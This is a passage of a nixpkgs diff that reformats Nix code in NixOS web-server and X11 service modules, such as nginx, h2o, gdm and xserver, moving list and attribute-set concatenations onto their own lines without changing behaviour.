-      } // cfg.extraEnvironment;
+      }
+      // cfg.extraEnvironment;
     };
   };
 }
diff --git a/nixos/modules/services/web-servers/h2o/default.nix b/nixos/modules/services/web-servers/h2o/default.nix
index 74928a2552e6..bd3b615ec9c8 100644
--- a/nixos/modules/services/web-servers/h2o/default.nix
+++ b/nixos/modules/services/web-servers/h2o/default.nix
@@ -231,16 +231,15 @@ let
                         certificate-file = "${certs.${names.cert}.directory}/fullchain.pem";
                       };
 
-                    baseListen =
-                      {
-                        port = port.TLS;
-                        ssl = (lib.recursiveUpdate tlsRecAttrs value.tls.extraSettings) // {
-                          inherit identity;
-                        };
-                      }
-                      // lib.optionalAttrs (value.host != null) {
-                        host = value.host;
+                    baseListen = {
+                      port = port.TLS;
+                      ssl = (lib.recursiveUpdate tlsRecAttrs value.tls.extraSettings) // {
+                        inherit identity;
                       };
+                    }
+                    // lib.optionalAttrs (value.host != null) {
+                      host = value.host;
+                    };
 
                     # QUIC, if used, will duplicate the TLS over TCP directive, but
                     # append some extra QUIC-related settings
@@ -381,55 +380,54 @@ in
   };
 
   config = mkIf cfg.enable {
-    assertions =
-      [
-        {
-          assertion =
-            !(builtins.hasAttr "hosts" h2oConfig)
-            || builtins.all (
-              host:
-              let
-                hasKeyPlusCert = attrs: (attrs.key-file or "") != "" && (attrs.certificate-file or "") != "";
-              in
-              # TLS not used
-              (lib.attrByPath [ "listen" "ssl" ] null host == null)
-              # TLS identity property
-              || (
-                builtins.hasAttr "identity" host
-                && builtins.length host.identity > 0
-                && builtins.all hasKeyPlusCert host.listen.ssl.identity
-              )
-              # TLS short-hand (was manually specified)
-              || (hasKeyPlusCert host.listen.ssl)
-            ) (lib.attrValues h2oConfig.hosts);
-          message = ''
-            TLS support will require at least one non-empty certificate & key
-            file. Use services.h2o.hosts.<name>.acme.enable,
-            services.h2o.hosts.<name>.acme.useHost,
-            services.h2o.hosts.<name>.tls.identity, or
-            services.h2o.hosts.<name>.tls.extraSettings.
-          '';
-        }
-      ]
-      ++ builtins.map (
-        name:
-        mkCertOwnershipAssertion {
-          cert = certs.${name};
-          groups = config.users.groups;
-          services = [
-            config.systemd.services.h2o
-          ] ++ lib.optional (acmeCertNames.all != [ ]) config.systemd.services.h2o-config-reload;
-        }
-      ) acmeCertNames.all;
+    assertions = [
+      {
+        assertion =
+          !(builtins.hasAttr "hosts" h2oConfig)
+          || builtins.all (
+            host:
+            let
+              hasKeyPlusCert = attrs: (attrs.key-file or "") != "" && (attrs.certificate-file or "") != "";
+            in
+            # TLS not used
+            (lib.attrByPath [ "listen" "ssl" ] null host == null)
+            # TLS identity property
+            || (
+              builtins.hasAttr "identity" host
+              && builtins.length host.identity > 0
+              && builtins.all hasKeyPlusCert host.listen.ssl.identity
+            )
+            # TLS short-hand (was manually specified)
+            || (hasKeyPlusCert host.listen.ssl)
+          ) (lib.attrValues h2oConfig.hosts);
+        message = ''
+          TLS support will require at least one non-empty certificate & key
+          file. Use services.h2o.hosts.<name>.acme.enable,
+          services.h2o.hosts.<name>.acme.useHost,
+          services.h2o.hosts.<name>.tls.identity, or
+          services.h2o.hosts.<name>.tls.extraSettings.
+        '';
+      }
+    ]
+    ++ builtins.map (
+      name:
+      mkCertOwnershipAssertion {
+        cert = certs.${name};
+        groups = config.users.groups;
+        services = [
+          config.systemd.services.h2o
+        ]
+        ++ lib.optional (acmeCertNames.all != [ ]) config.systemd.services.h2o-config-reload;
+      }
+    ) acmeCertNames.all;
 
     users = {
-      users.${cfg.user} =
-        {
-          group = cfg.group;
-        }
-        // lib.optionalAttrs (cfg.user == "h2o") {
-          isSystemUser = true;
-        };
+      users.${cfg.user} = {
+        group = cfg.group;
+      }
+      // lib.optionalAttrs (cfg.user == "h2o") {
+        isSystemUser = true;
+      };
       groups.${cfg.group} = { };
     };
 
@@ -439,10 +437,11 @@ in
       wants = lib.concatLists (map (certName: [ "acme-finished-${certName}.target" ]) acmeCertNames.all);
       # Since H2O will be hosting the challenges, H2O must be started
       before = builtins.map (certName: "acme-${certName}.service") acmeCertNames.dependent;
-      after =
-        [ "network.target" ]
-        ++ builtins.map (certName: "acme-selfsigned-${certName}.service") acmeCertNames.all
-        ++ builtins.map (certName: "acme-${certName}.service") acmeCertNames.independent; # avoid loading self-signed key w/ real cert, or vice-versa
+      after = [
+        "network.target"
+      ]
+      ++ builtins.map (certName: "acme-selfsigned-${certName}.service") acmeCertNames.all
+      ++ builtins.map (certName: "acme-${certName}.service") acmeCertNames.independent; # avoid loading self-signed key w/ real cert, or vice-versa
 
       serviceConfig = {
         ExecStart = "${h2oExe} --mode 'master'";
diff --git a/nixos/modules/services/web-servers/hitch/default.nix b/nixos/modules/services/web-servers/hitch/default.nix
index a5a536ff9917..baec5a34eb56 100644
--- a/nixos/modules/services/web-servers/hitch/default.nix
+++ b/nixos/modules/services/web-servers/hitch/default.nix
@@ -93,14 +93,13 @@ with lib;
       description = "Hitch";
       wantedBy = [ "multi-user.target" ];
       after = [ "network.target" ];
-      preStart =
-        ''
-          ${pkgs.hitch}/sbin/hitch -t --config ${hitchConfig}
-        ''
-        + (optionalString cfg.ocsp-stapling.enabled ''
-          mkdir -p ${ocspDir}
-          chown -R hitch:hitch ${ocspDir}
-        '');
+      preStart = ''
+        ${pkgs.hitch}/sbin/hitch -t --config ${hitchConfig}
+      ''
+      + (optionalString cfg.ocsp-stapling.enabled ''
+        mkdir -p ${ocspDir}
+        chown -R hitch:hitch ${ocspDir}
+      '');
       serviceConfig = {
         Type = "forking";
         ExecStart = "${pkgs.hitch}/sbin/hitch --daemon --config ${hitchConfig}";
diff --git a/nixos/modules/services/web-servers/minio.nix b/nixos/modules/services/web-servers/minio.nix
index 1f1a595f8700..51cdfcb9cb92 100644
--- a/nixos/modules/services/web-servers/minio.nix
+++ b/nixos/modules/services/web-servers/minio.nix
@@ -111,11 +111,10 @@ in
 
     systemd = lib.mkMerge [
       {
-        tmpfiles.rules =
-          [
-            "d '${cfg.configDir}' - minio minio - -"
-          ]
-          ++ (map (x: "d '" + x + "' - minio minio - - ") (builtins.filter lib.types.path.check cfg.dataDir));
+        tmpfiles.rules = [
+          "d '${cfg.configDir}' - minio minio - -"
+        ]
+        ++ (map (x: "d '" + x + "' - minio minio - - ") (builtins.filter lib.types.path.check cfg.dataDir));
 
         services.minio = {
           description = "Minio Object Storage";
diff --git a/nixos/modules/services/web-servers/nginx/default.nix b/nixos/modules/services/web-servers/nginx/default.nix
index cd4f404a58ee..310d8ae84dc9 100644
--- a/nixos/modules/services/web-servers/nginx/default.nix
+++ b/nixos/modules/services/web-servers/nginx/default.nix
@@ -1443,11 +1443,12 @@ in
         mkCertOwnershipAssertion {
           cert = config.security.acme.certs.${name};
           groups = config.users.groups;
-          services =
-            [ config.systemd.services.nginx ]
-            ++ lib.optional (
-              cfg.enableReload || vhostCertNames != [ ]
-            ) config.systemd.services.nginx-config-reload;
+          services = [
+            config.systemd.services.nginx
+          ]
+          ++ lib.optional (
+            cfg.enableReload || vhostCertNames != [ ]
+          ) config.systemd.services.nginx-config-reload;
         }
       ) vhostCertNames;
 
@@ -1478,10 +1479,11 @@ in
       description = "Nginx Web Server";
       wantedBy = [ "multi-user.target" ];
       wants = concatLists (map (certName: [ "acme-finished-${certName}.target" ]) vhostCertNames);
-      after =
-        [ "network.target" ]
-        ++ map (certName: "acme-selfsigned-${certName}.service") vhostCertNames
-        ++ map (certName: "acme-${certName}.service") independentCertNames; # avoid loading self-signed key w/ real cert, or vice-versa
+      after = [
+        "network.target"
+      ]
+      ++ map (certName: "acme-selfsigned-${certName}.service") vhostCertNames
+      ++ map (certName: "acme-${certName}.service") independentCertNames; # avoid loading self-signed key w/ real cert, or vice-versa
       # Nginx needs to be started in order to be able to request certificates
       # (it's hosting the acme challenge after all)
       # This fixes https://github.com/NixOS/nixpkgs/issues/81842
@@ -1519,24 +1521,22 @@ in
         # New file permissions
         UMask = "0027"; # 0640 / 0750
         # Capabilities
-        AmbientCapabilities =
-          [
-            "CAP_NET_BIND_SERVICE"
-            "CAP_SYS_RESOURCE"
-          ]
-          ++ optionals cfg.enableQuicBPF [
-            "CAP_SYS_ADMIN"
-            "CAP_NET_ADMIN"
-          ];
-        CapabilityBoundingSet =
-          [
-            "CAP_NET_BIND_SERVICE"
-            "CAP_SYS_RESOURCE"
-          ]
-          ++ optionals cfg.enableQuicBPF [
-            "CAP_SYS_ADMIN"
-            "CAP_NET_ADMIN"
-          ];
+        AmbientCapabilities = [
+          "CAP_NET_BIND_SERVICE"
+          "CAP_SYS_RESOURCE"
+        ]
+        ++ optionals cfg.enableQuicBPF [
+          "CAP_SYS_ADMIN"
+          "CAP_NET_ADMIN"
+        ];
+        CapabilityBoundingSet = [
+          "CAP_NET_BIND_SERVICE"
+          "CAP_SYS_RESOURCE"
+        ]
+        ++ optionals cfg.enableQuicBPF [
+          "CAP_SYS_ADMIN"
+          "CAP_NET_ADMIN"
+        ];
         # Security
         NoNewPrivileges = true;
         # Sandboxing (sorted by occurrence in https://www.freedesktop.org/software/systemd/man/systemd.exec.html)
@@ -1570,7 +1570,8 @@ in
         SystemCallArchitectures = "native";
         SystemCallFilter = [
           "~@cpu-emulation @debug @keyring @mount @obsolete @privileged @setuid"
-        ] ++ optional cfg.enableQuicBPF [ "bpf" ];
+        ]
+        ++ optional cfg.enableQuicBPF [ "bpf" ];
       };
     };
 
diff --git a/nixos/modules/services/web-servers/pomerium.nix b/nixos/modules/services/web-servers/pomerium.nix
index 897b3985ab89..93b04425435d 100644
--- a/nixos/modules/services/web-servers/pomerium.nix
+++ b/nixos/modules/services/web-servers/pomerium.nix
@@ -71,10 +71,12 @@ in
         description = "Pomerium authenticating reverse proxy";
         wants = [
           "network.target"
-        ] ++ (optional (cfg.useACMEHost != null) "acme-finished-${cfg.useACMEHost}.target");
+        ]
+        ++ (optional (cfg.useACMEHost != null) "acme-finished-${cfg.useACMEHost}.target");
         after = [
           "network.target"
-        ] ++ (optional (cfg.useACMEHost != null) "acme-finished-${cfg.useACMEHost}.target");
+        ]
+        ++ (optional (cfg.useACMEHost != null) "acme-finished-${cfg.useACMEHost}.target");
         wantedBy = [ "multi-user.target" ];
         environment = optionalAttrs (cfg.useACMEHost != null) {
           CERTIFICATE_FILE = "fullchain.pem";
diff --git a/nixos/modules/services/web-servers/send.nix b/nixos/modules/services/web-servers/send.nix
index 696fbbdc7c80..9c87fc1e6c98 100644
--- a/nixos/modules/services/web-servers/send.nix
+++ b/nixos/modules/services/web-servers/send.nix
@@ -188,31 +188,29 @@ in
         SystemCallArchitectures = "native";
         UMask = "0077";
       };
-      environment =
-        {
-          IP_ADDRESS = cfg.host;
-          PORT = toString cfg.port;
-          BASE_URL = if (cfg.baseUrl == null) then "http://${cfg.host}:${toString cfg.port}" else cfg.baseUrl;
-          FILE_DIR = cfg.dataDir + "/uploads";
-          REDIS_HOST = cfg.redis.host;
-          REDIS_PORT = toString cfg.redis.port;
-        }
-        // (lib.mapAttrs (
-          name: value:
-          if lib.isList value then
-            "[" + lib.concatStringsSep ", " (map (x: toString x) value) + "]"
-          else if lib.isBool value then
-            lib.boolToString value
-          else
-            toString value
-        ) cfg.environment);
-      after =
-        [
-          "network.target"
-        ]
-        ++ lib.optionals cfg.redis.createLocally [
-          "redis-${cfg.redis.name}.service"
-        ];
+      environment = {
+        IP_ADDRESS = cfg.host;
+        PORT = toString cfg.port;
+        BASE_URL = if (cfg.baseUrl == null) then "http://${cfg.host}:${toString cfg.port}" else cfg.baseUrl;
+        FILE_DIR = cfg.dataDir + "/uploads";
+        REDIS_HOST = cfg.redis.host;
+        REDIS_PORT = toString cfg.redis.port;
+      }
+      // (lib.mapAttrs (
+        name: value:
+        if lib.isList value then
+          "[" + lib.concatStringsSep ", " (map (x: toString x) value) + "]"
+        else if lib.isBool value then
+          lib.boolToString value
+        else
+          toString value
+      ) cfg.environment);
+      after = [
+        "network.target"
+      ]
+      ++ lib.optionals cfg.redis.createLocally [
+        "redis-${cfg.redis.name}.service"
+      ];
       description = "Send web service";
       wantedBy = [ "multi-user.target" ];
       script = ''
diff --git a/nixos/modules/services/web-servers/stargazer.nix b/nixos/modules/services/web-servers/stargazer.nix
index 32feaf0337e7..c29f0107cd0e 100644
--- a/nixos/modules/services/web-servers/stargazer.nix
+++ b/nixos/modules/services/web-servers/stargazer.nix
@@ -260,26 +260,26 @@ in
         LockPersonality = true;
         RestrictRealtime = true;
         RemoveIPC = true;
-        CapabilityBoundingSet =
-          [
-            "~CAP_SYS_PTRACE"
-            "~CAP_SYS_ADMIN"
-            "~CAP_SETPCAP"
-            "~CAP_SYS_TIME"
-            "~CAP_SYS_PACCT"
-            "~CAP_SYS_TTY_CONFIG "
-            "~CAP_SYS_CHROOT"
-            "~CAP_SYS_BOOT"
-            "~CAP_NET_ADMIN"
-          ]
-          ++ lib.lists.optional (!cfg.allowCgiUser) [
-            "~CAP_SETGID"
-            "~CAP_SETUID"
-          ];
+        CapabilityBoundingSet = [
+          "~CAP_SYS_PTRACE"
+          "~CAP_SYS_ADMIN"
+          "~CAP_SETPCAP"
+          "~CAP_SYS_TIME"
+          "~CAP_SYS_PACCT"
+          "~CAP_SYS_TTY_CONFIG "
+          "~CAP_SYS_CHROOT"
+          "~CAP_SYS_BOOT"
+          "~CAP_NET_ADMIN"
+        ]
+        ++ lib.lists.optional (!cfg.allowCgiUser) [
+          "~CAP_SETGID"
+          "~CAP_SETUID"
+        ];
         SystemCallArchitectures = "native";
         SystemCallFilter = [
           "~@cpu-emulation @debug @keyring @mount @obsolete"
-        ] ++ lib.lists.optional (!cfg.allowCgiUser) [ "@privileged @setuid" ];
+        ]
+        ++ lib.lists.optional (!cfg.allowCgiUser) [ "@privileged @setuid" ];
       };
     };
 
diff --git a/nixos/modules/services/web-servers/tomcat.nix b/nixos/modules/services/web-servers/tomcat.nix
index 2fffc7cd47db..deff4f7f821b 100644
--- a/nixos/modules/services/web-servers/tomcat.nix
+++ b/nixos/modules/services/web-servers/tomcat.nix
@@ -427,7 +427,8 @@ in
           "JAVA_HOME='${cfg.jdk}'"
           "JAVA_OPTS='${builtins.toString cfg.javaOpts}'"
           "CATALINA_OPTS='${builtins.toString cfg.catalinaOpts}'"
-        ] ++ cfg.extraEnvironment;
+        ]
+        ++ cfg.extraEnvironment;
         ExecStart = "${tomcat}/bin/startup.sh";
         ExecStop = "${tomcat}/bin/shutdown.sh";
       };
diff --git a/nixos/modules/services/web-servers/trafficserver/default.nix b/nixos/modules/services/web-servers/trafficserver/default.nix
index f6a98b1ebe2f..209583f74b10 100644
--- a/nixos/modules/services/web-servers/trafficserver/default.nix
+++ b/nixos/modules/services/web-servers/trafficserver/default.nix
@@ -278,23 +278,22 @@ in
   };
 
   config = mkIf cfg.enable {
-    environment.etc =
-      {
-        "trafficserver/cache.config".text = cfg.cache;
-        "trafficserver/hosting.config".text = cfg.hosting;
-        "trafficserver/parent.config".text = cfg.parent;
-        "trafficserver/plugin.config".text = mkPluginConfig cfg.plugins;
-        "trafficserver/records.config".text = mkRecordsConfig cfg.records;
-        "trafficserver/remap.config".text = cfg.remap;
-        "trafficserver/splitdns.config".text = cfg.splitDns;
-        "trafficserver/ssl_multicert.config".text = cfg.sslMulticert;
-        "trafficserver/storage.config".text = cfg.storage;
-        "trafficserver/volume.config".text = cfg.volume;
-      }
-      // (mkYamlConf "ip_allow" cfg.ipAllow)
-      // (mkYamlConf "logging" cfg.logging)
-      // (mkYamlConf "sni" cfg.sni)
-      // (mkYamlConf "strategies" cfg.strategies);
+    environment.etc = {
+      "trafficserver/cache.config".text = cfg.cache;
+      "trafficserver/hosting.config".text = cfg.hosting;
+      "trafficserver/parent.config".text = cfg.parent;
+      "trafficserver/plugin.config".text = mkPluginConfig cfg.plugins;
+      "trafficserver/records.config".text = mkRecordsConfig cfg.records;
+      "trafficserver/remap.config".text = cfg.remap;
+      "trafficserver/splitdns.config".text = cfg.splitDns;
+      "trafficserver/ssl_multicert.config".text = cfg.sslMulticert;
+      "trafficserver/storage.config".text = cfg.storage;
+      "trafficserver/volume.config".text = cfg.volume;
+    }
+    // (mkYamlConf "ip_allow" cfg.ipAllow)
+    // (mkYamlConf "logging" cfg.logging)
+    // (mkYamlConf "sni" cfg.sni)
+    // (mkYamlConf "strategies" cfg.strategies);
 
     environment.systemPackages = [ pkgs.trafficserver ];
     systemd.packages = [ pkgs.trafficserver ];
diff --git a/nixos/modules/services/web-servers/ttyd.nix b/nixos/modules/services/web-servers/ttyd.nix
index f95cc62b8b67..01baa3b22fa3 100644
--- a/nixos/modules/services/web-servers/ttyd.nix
+++ b/nixos/modules/services/web-servers/ttyd.nix
@@ -16,59 +16,58 @@ let
     ;
 
   # Command line arguments for the ttyd daemon
-  args =
-    [
-      "--port"
-      (toString cfg.port)
-    ]
-    ++ optionals (cfg.socket != null) [
-      "--interface"
-      cfg.socket
-    ]
-    ++ optionals (cfg.interface != null) [
-      "--interface"
-      cfg.interface
-    ]
-    ++ [
-      "--signal"
-      (toString cfg.signal)
-    ]
-    ++ (lib.concatLists (
-      lib.mapAttrsToList (_k: _v: [
-        "--client-option"
-        "${_k}=${_v}"
-      ]) cfg.clientOptions
-    ))
-    ++ [
-      "--terminal-type"
-      cfg.terminalType
-    ]
-    ++ optionals cfg.checkOrigin [ "--check-origin" ]
-    ++ optionals cfg.writeable [ "--writable" ] # the typo is correct
-    ++ [
-      "--max-clients"
-      (toString cfg.maxClients)
-    ]
-    ++ optionals (cfg.indexFile != null) [
-      "--index"
-      cfg.indexFile
-    ]
-    ++ optionals cfg.enableIPv6 [ "--ipv6" ]
-    ++ optionals cfg.enableSSL [
-      "--ssl"
-      "--ssl-cert"
-      cfg.certFile
-      "--ssl-key"
-      cfg.keyFile
-    ]
-    ++ optionals (cfg.enableSSL && cfg.caFile != null) [
-      "--ssl-ca"
-      cfg.caFile
-    ]
-    ++ [
-      "--debug"
-      (toString cfg.logLevel)
-    ];
+  args = [
+    "--port"
+    (toString cfg.port)
+  ]
+  ++ optionals (cfg.socket != null) [
+    "--interface"
+    cfg.socket
+  ]
+  ++ optionals (cfg.interface != null) [
+    "--interface"
+    cfg.interface
+  ]
+  ++ [
+    "--signal"
+    (toString cfg.signal)
+  ]
+  ++ (lib.concatLists (
+    lib.mapAttrsToList (_k: _v: [
+      "--client-option"
+      "${_k}=${_v}"
+    ]) cfg.clientOptions
+  ))
+  ++ [
+    "--terminal-type"
+    cfg.terminalType
+  ]
+  ++ optionals cfg.checkOrigin [ "--check-origin" ]
+  ++ optionals cfg.writeable [ "--writable" ] # the typo is correct
+  ++ [
+    "--max-clients"
+    (toString cfg.maxClients)
+  ]
+  ++ optionals (cfg.indexFile != null) [
+    "--index"
+    cfg.indexFile
+  ]
+  ++ optionals cfg.enableIPv6 [ "--ipv6" ]
+  ++ optionals cfg.enableSSL [
+    "--ssl"
+    "--ssl-cert"
+    cfg.certFile
+    "--ssl-key"
+    cfg.keyFile
+  ]
+  ++ optionals (cfg.enableSSL && cfg.caFile != null) [
+    "--ssl-ca"
+    cfg.caFile
+  ]
+  ++ [
+    "--debug"
+    (toString cfg.logLevel)
+  ];
 
 in
 
diff --git a/nixos/modules/services/x11/clight.nix b/nixos/modules/services/x11/clight.nix
index 03bcbf84f853..ebdada1442a6 100644
--- a/nixos/modules/services/x11/clight.nix
+++ b/nixos/modules/services/x11/clight.nix
@@ -126,19 +126,18 @@ in
     ];
     services.upower.enable = true;
 
-    services.clight.settings =
-      {
-        gamma.temp =
-          with cfg.temperature;
-          mkDefault [
-            day
-            night
-          ];
-      }
-      // (optionalAttrs (config.location.provider == "manual") {
-        daytime.latitude = mkDefault config.location.latitude;
-        daytime.longitude = mkDefault config.location.longitude;
-      });
+    services.clight.settings = {
+      gamma.temp =
+        with cfg.temperature;
+        mkDefault [
+          day
+          night
+        ];
+    }
+    // (optionalAttrs (config.location.provider == "manual") {
+      daytime.latitude = mkDefault config.location.latitude;
+      daytime.longitude = mkDefault config.location.longitude;
+    });
 
     services.geoclue2.appConfig.clightc = {
       isAllowed = true;
diff --git a/nixos/modules/services/x11/desktop-managers/gnome.nix b/nixos/modules/services/x11/desktop-managers/gnome.nix
index 1f980444e644..c3d4e018812d 100644
--- a/nixos/modules/services/x11/desktop-managers/gnome.nix
+++ b/nixos/modules/services/x11/desktop-managers/gnome.nix
@@ -265,23 +265,23 @@ in
 
       systemd.packages = [
         pkgs.gnome-flashback
-      ] ++ map pkgs.gnome-flashback.mkSystemdTargetForWm flashbackWms;
+      ]
+      ++ map pkgs.gnome-flashback.mkSystemdTargetForWm flashbackWms;
 
-      environment.systemPackages =
-        [
-          pkgs.gnome-flashback
-          (pkgs.gnome-panel-with-modules.override {
-            panelModulePackages = cfg.flashback.panelModulePackages;
-          })
-        ]
-        # For /share/applications/${wmName}.desktop
-        ++ (map (
-          wm: pkgs.gnome-flashback.mkWmApplication { inherit (wm) wmName wmLabel wmCommand; }
-        ) flashbackWms)
-        # For /share/pkgs.gnome-session/sessions/gnome-flashback-${wmName}.session
-        ++ (map (
-          wm: pkgs.gnome-flashback.mkGnomeSession { inherit (wm) wmName wmLabel enableGnomePanel; }
-        ) flashbackWms);
+      environment.systemPackages = [
+        pkgs.gnome-flashback
+        (pkgs.gnome-panel-with-modules.override {
+          panelModulePackages = cfg.flashback.panelModulePackages;
+        })
+      ]
+      # For /share/applications/${wmName}.desktop
+      ++ (map (
+        wm: pkgs.gnome-flashback.mkWmApplication { inherit (wm) wmName wmLabel wmCommand; }
+      ) flashbackWms)
+      # For /share/pkgs.gnome-session/sessions/gnome-flashback-${wmName}.session
+      ++ (map (
+        wm: pkgs.gnome-flashback.mkGnomeSession { inherit (wm) wmName wmLabel enableGnomePanel; }
+      ) flashbackWms);
     })
 
     (lib.mkIf serviceCfg.core-os-services.enable {
diff --git a/nixos/modules/services/x11/desktop-managers/pantheon.nix b/nixos/modules/services/x11/desktop-managers/pantheon.nix
index c50d9340841e..396d8fee3dd5 100644
--- a/nixos/modules/services/x11/desktop-managers/pantheon.nix
+++ b/nixos/modules/services/x11/desktop-managers/pantheon.nix
@@ -245,15 +245,14 @@ in
       xdg.icons.enable = true;
 
       xdg.portal.enable = true;
-      xdg.portal.extraPortals =
-        [
-          pkgs.xdg-desktop-portal-gtk
-        ]
-        ++ (with pkgs.pantheon; [
-          elementary-files
-          elementary-settings-daemon
-          xdg-desktop-portal-pantheon
-        ]);
+      xdg.portal.extraPortals = [
+        pkgs.xdg-desktop-portal-gtk
+      ]
+      ++ (with pkgs.pantheon; [
+        elementary-files
+        elementary-settings-daemon
+        xdg-desktop-portal-pantheon
+      ]);
 
       xdg.portal.configPackages = mkDefault [ pkgs.pantheon.elementary-default-settings ];
 
diff --git a/nixos/modules/services/x11/desktop-managers/plasma5.nix b/nixos/modules/services/x11/desktop-managers/plasma5.nix
index f3051f7757e0..db525adc8f7f 100644
--- a/nixos/modules/services/x11/desktop-managers/plasma5.nix
+++ b/nixos/modules/services/x11/desktop-managers/plasma5.nix
@@ -213,23 +213,22 @@ in
         "Plasma 5 has been deprecated and will be removed in NixOS 25.11. Please migrate your configuration to Plasma 6."
       ];
 
-      security.wrappers =
-        {
-          kwin_wayland = {
-            owner = "root";
-            group = "root";
-            capabilities = "cap_sys_nice+ep";
-            source = "${getBin pkgs.plasma5Packages.kwin}/bin/kwin_wayland";
-          };
-        }
-        // optionalAttrs (!cfg.runUsingSystemd) {
-          start_kdeinit = {
-            setuid = true;
-            owner = "root";
-            group = "root";
-            source = "${getBin pkgs.plasma5Packages.kinit}/libexec/kf5/start_kdeinit";
-          };
+      security.wrappers = {
+        kwin_wayland = {
+          owner = "root";
+          group = "root";
+          capabilities = "cap_sys_nice+ep";
+          source = "${getBin pkgs.plasma5Packages.kwin}/bin/kwin_wayland";
         };
+      }
+      // optionalAttrs (!cfg.runUsingSystemd) {
+        start_kdeinit = {
+          setuid = true;
+          owner = "root";
+          group = "root";
+          source = "${getBin pkgs.plasma5Packages.kinit}/libexec/kf5/start_kdeinit";
+        };
+      };
 
       qt.enable = true;
 
diff --git a/nixos/modules/services/x11/display-managers/gdm.nix b/nixos/modules/services/x11/display-managers/gdm.nix
index 5973191d6c7c..85e0e2f26c17 100644
--- a/nixos/modules/services/x11/display-managers/gdm.nix
+++ b/nixos/modules/services/x11/display-managers/gdm.nix
@@ -168,23 +168,22 @@ in
       # Enable desktop session data
       enable = true;
 
-      environment =
-        {
-          GDM_X_SERVER_EXTRA_ARGS = toString (lib.filter (arg: arg != "-terminate") cfg.xserverArgs);
-          XDG_DATA_DIRS = lib.makeSearchPath "share" [
-            gdm # for gnome-login.session
-            config.services.displayManager.sessionData.desktops
-            pkgs.gnome-control-center # for accessibility icon
-            pkgs.adwaita-icon-theme
-            pkgs.hicolor-icon-theme # empty icon theme as a base
-          ];
-        }
-        // lib.optionalAttrs (xSessionWrapper != null) {
-          # Make GDM use this wrapper before running the session, which runs the
-          # configured setupCommands. This relies on a patched GDM which supports
-          # this environment variable.
-          GDM_X_SESSION_WRAPPER = "${xSessionWrapper}";
-        };
+      environment = {
+        GDM_X_SERVER_EXTRA_ARGS = toString (lib.filter (arg: arg != "-terminate") cfg.xserverArgs);
+        XDG_DATA_DIRS = lib.makeSearchPath "share" [
+          gdm # for gnome-login.session
+          config.services.displayManager.sessionData.desktops
+          pkgs.gnome-control-center # for accessibility icon
+          pkgs.adwaita-icon-theme
+          pkgs.hicolor-icon-theme # empty icon theme as a base
+        ];
+      }
+      // lib.optionalAttrs (xSessionWrapper != null) {
+        # Make GDM use this wrapper before running the session, which runs the
+        # configured setupCommands. This relies on a patched GDM which supports
+        # this environment variable.
+        GDM_X_SESSION_WRAPPER = "${xSessionWrapper}";
+      };
       execCmd = "exec ${gdm}/bin/gdm";
       preStart = lib.optionalString (defaultSessionName != null) ''
         # Set default session in session chooser to a specified values – basically ignore session history.
@@ -192,18 +191,17 @@ in
       '';
     };
 
-    systemd.tmpfiles.rules =
-      [
-        "d /run/gdm/.config 0711 gdm gdm"
-      ]
-      ++ lib.optionals config.services.pulseaudio.enable [
-        "d /run/gdm/.config/pulse 0711 gdm gdm"
-        "L+ /run/gdm/.config/pulse/${pulseConfig.name} - - - - ${pulseConfig}"
-      ]
-      ++ lib.optionals config.services.gnome.gnome-initial-setup.enable [
-        # Create stamp file for gnome-initial-setup to prevent it starting in GDM.
-        "f /run/gdm/.config/gnome-initial-setup-done 0711 gdm gdm - yes"
-      ];
+    systemd.tmpfiles.rules = [
+      "d /run/gdm/.config 0711 gdm gdm"
+    ]
+    ++ lib.optionals config.services.pulseaudio.enable [
+      "d /run/gdm/.config/pulse 0711 gdm gdm"
+      "L+ /run/gdm/.config/pulse/${pulseConfig.name} - - - - ${pulseConfig}"
+    ]
+    ++ lib.optionals config.services.gnome.gnome-initial-setup.enable [
+      # Create stamp file for gnome-initial-setup to prevent it starting in GDM.
+      "f /run/gdm/.config/gnome-initial-setup-done 0711 gdm gdm - yes"
+    ];
 
     # Otherwise GDM will not be able to start correctly and display Wayland sessions
     systemd.packages = [
diff --git a/nixos/modules/services/x11/window-managers/wmderland.nix b/nixos/modules/services/x11/window-managers/wmderland.nix
index 018c152572b5..96f3a8e34dff 100644
--- a/nixos/modules/services/x11/window-managers/wmderland.nix
+++ b/nixos/modules/services/x11/window-managers/wmderland.nix
@@ -62,6 +62,7 @@ in
     environment.systemPackages = [
       pkgs.wmderland
       pkgs.wmderlandc
-    ] ++ cfg.extraPackages;
+    ]
+    ++ cfg.extraPackages;
   };
 }
diff --git a/nixos/modules/services/x11/xautolock.nix b/nixos/modules/services/x11/xautolock.nix
index 1fd6c54f6b96..ecb9f7786474 100644
--- a/nixos/modules/services/x11/xautolock.nix
+++ b/nixos/modules/services/x11/xautolock.nix
@@ -132,20 +132,19 @@ in
         Restart = "always";
       };
     };
-    assertions =
-      [
-        {
-          assertion = cfg.enableNotifier -> cfg.notifier != null;
-          message = "When enabling the notifier for xautolock, you also need to specify the notify script";
-        }
-        {
-          assertion = cfg.killer != null -> cfg.killtime >= 10;
-          message = "killtime has to be at least 10 minutes according to `man xautolock`";
-        }
-      ]
-      ++ (lib.forEach [ "locker" "notifier" "nowlocker" "killer" ] (option: {
-        assertion = cfg.${option} != null -> builtins.substring 0 1 cfg.${option} == "/";
-        message = "Please specify a canonical path for `services.xserver.xautolock.${option}`";
-      }));
+    assertions = [
+      {
+        assertion = cfg.enableNotifier -> cfg.notifier != null;
+        message = "When enabling the notifier for xautolock, you also need to specify the notify script";
+      }
+      {
+        assertion = cfg.killer != null -> cfg.killtime >= 10;
+        message = "killtime has to be at least 10 minutes according to `man xautolock`";
+      }
+    ]
+    ++ (lib.forEach [ "locker" "notifier" "nowlocker" "killer" ] (option: {
+      assertion = cfg.${option} != null -> builtins.substring 0 1 cfg.${option} == "/";
+      message = "Please specify a canonical path for `services.xserver.xautolock.${option}`";
+    }));
   };
 }
diff --git a/nixos/modules/services/x11/xserver.nix b/nixos/modules/services/x11/xserver.nix
index 7c0de46a8cd2..1419a6354480 100644
--- a/nixos/modules/services/x11/xserver.nix
+++ b/nixos/modules/services/x11/xserver.nix
@@ -879,21 +879,20 @@ in
       };
     };
 
-    services.xserver.displayManager.xserverArgs =
-      [
-        "-config ${configFile}"
-        "-xkbdir"
-        "${cfg.xkb.dir}"
-      ]
-      ++ optional (cfg.display != null) ":${toString cfg.display}"
-      ++ optional (cfg.tty != null) "vt${toString cfg.tty}"
-      ++ optional (cfg.dpi != null) "-dpi ${toString cfg.dpi}"
-      ++ optional (cfg.logFile != null) "-logfile ${toString cfg.logFile}"
-      ++ optional (cfg.verbose != null) "-verbose ${toString cfg.verbose}"
